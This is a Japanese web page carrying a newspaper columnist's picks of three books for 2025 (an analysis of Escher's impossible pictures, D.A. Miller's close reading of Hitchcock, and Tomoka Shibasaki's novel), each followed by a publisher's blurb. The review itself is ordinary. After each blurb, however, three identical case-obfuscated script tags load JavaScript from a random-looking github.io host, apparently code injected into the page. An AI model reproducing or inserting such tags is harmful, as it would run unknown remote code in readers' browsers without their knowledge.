書評

若島 正「2025年 この3冊」毎日新聞|<1>近藤 滋『エッシャー完全解読―なぜ不可能が可能に見えるのか』(みすず書房) <2>D・A・ミラー、佐藤 元状訳『ヒッチコックをさがせ!―超近接的映画鑑賞(トゥークロース・ビューイング)のすすめ』(慶應義塾大学出版会) <3>柴崎 友香『帰れない探偵』(講談社)

  • 2026/01/01

2025年「この3冊」

<1>近藤 滋『エッシャー完全解読―なぜ不可能が可能に見えるのか』(みすず書房)

<2>D・A・ミラー、佐藤 元状訳『ヒッチコックをさがせ!―超近接的映画鑑賞(トゥークロース・ビューイング)のすすめ』(慶應義塾大学出版会)

<3>柴崎 友香『帰れない探偵』(講談社)


<1>は、「なぜ不可能が可能に見えるのか」という謎を文字どおりに解いている点で、巷(ちまた)にあふれる謎解き本とは一線を画している。とりわけ、主題とは無関係に見える細部にも注目しているのは、小説を読み解くような感触がある。エッシャーに対する著者の熱意が読者にも感染する、今年の一推し本。

十年以上も前のこと、来日した文学研究者からぜひ読めとすすめられたのがD・A・ミラーの『見知らぬ乗客』論だった。そのヒッチコック論をまとめたのが、やはり著者の異様な情熱を感じる<2>で、「遠読」に対抗するような「超近読」には大いに驚かされること請け合い。

小説の中では<3>を推す。近未来小説の形を借りながら、過去、現在、未来をひとつの視野に収める、小説の大胆な冒険として読んだ。

エッシャー完全解読――なぜ不可能が可能に見えるのか / 近藤滋
エッシャー完全解読――なぜ不可能が可能に見えるのか
  • 著者:近藤滋
  • 出版社:みすず書房
  • 装丁:単行本(208ページ)
  • 発売日:2024-12-12
  • ISBN-10:4622097311
  • ISBN-13:978-4622097310
内容紹介:
エッシャーの代表作である《物見の塔》《滝》《上昇と下降》などのだまし絵。これらの作品は、一見しただけではそこに錯視図形があるとわからないほど自然に見える。しかし、少しの間をおいて… もっと読む
エッシャーの代表作である《物見の塔》《滝》《上昇と下降》などのだまし絵。これらの作品は、一見しただけではそこに錯視図形があるとわからないほど自然に見える。しかし、少しの間をおいて「これはありえない立体だ」と気付いた瞬間、鑑賞者に大きな驚きをもたらす。
この劇的な鑑賞体験はどのようにして作られたのか。エッシャーはまず、絵のあちこちに鑑賞者を誘導するトリックを仕掛け、さらにそれらを手品師さながらに覆い隠していった。そしてトリックの存在を生涯隠し通し、決して語らなかったのだ。
本書は100点を超える図版でだまし絵の制作過程を分解し、エッシャーがかつて5つの作品に仕掛けた視覚のトリックを明らかにしている。エッシャーが制作中に何に悩み、何を大切にしていたかにまで踏み込んでいく。謎解きの楽しさに満ちた1冊。<sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt>

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ヒッチコックをさがせ!:超近接的映画鑑賞のすすめ / D・A・ミラー
ヒッチコックをさがせ!:超近接的映画鑑賞のすすめ
  • 著者:D・A・ミラー
  • 翻訳:佐藤 元状
  • 出版社:慶應義塾大学出版会
  • 装丁:単行本(288ページ)
  • 発売日:2025-10-27
  • ISBN-10:4766430662
  • ISBN-13:978-4766430660
内容紹介:
ヒッチコックにどこまで接近できるか!?映画鑑賞の限界に挑む変態的批評。『見知らぬ乗客』の主人公が読む本のタイトルは? 『ロープ』の本当のカット数は? 「カメオ出演」とされているも… もっと読む
ヒッチコックにどこまで接近できるか!?
映画鑑賞の限界に挑む変態的批評。
『見知らぬ乗客』の主人公が読む本のタイトルは? 『ロープ』の本当のカット数は? 「カメオ出演」とされているものが、実はヒッチコックではないとしたら──。“サスペンスの帝王”アルフレッド・ヒッチコックの古典的名作たちをコマ単位で徹底分析。超近接的映画鑑賞で明らかになる巨匠のスタイルとは。
日本語版付録として『ダイヤルMを廻せ!』についての書き下ろし論考を収録。

[目次]
0 予告編

1 隠し絵(『見知らぬ乗客』)

2 アンダースタイル(『ロープ』)

3 引き伸ばされた『間違えられた男』

4 小さな間違い(『ダイヤルMを廻せ!』)<sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt>

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帰れない探偵 / 柴崎 友香
帰れない探偵
  • 著者:柴崎 友香
  • 出版社:講談社
  • 装丁:単行本(304ページ)
  • 発売日:2025-06-26
  • ISBN-10:4065397103
  • ISBN-13:978-4065397107
内容紹介:
『続きと始まり』『百年と一日』が話題の柴崎友香による全く新しい「探偵小説」「世界探偵委員会連盟」に所属する「わたし」は、ある日突然、探偵事務所兼自宅の部屋に帰れなくなった。急な… もっと読む
『続きと始まり』『百年と一日』が話題の柴崎友香による全く新しい「探偵小説」

「世界探偵委員会連盟」に所属する「わたし」は、ある日突然、探偵事務所兼自宅の部屋に帰れなくなった。
急な坂ばかりの街、雨でも傘を差さない街、夜にならない夏の街、太陽と砂の街、雨季の始まりの暑い街、そして「あの街」の空港で……「帰れない探偵」が激動する世界を駆け巡る。


帰れない探偵
知らない街のように
雨に歌えば
探す人たちは探しものを見つける
空の上の宇宙
夢には入れない
歌い続けよう<sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt>

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初出メディア

毎日新聞

毎日新聞 2025年12月20日

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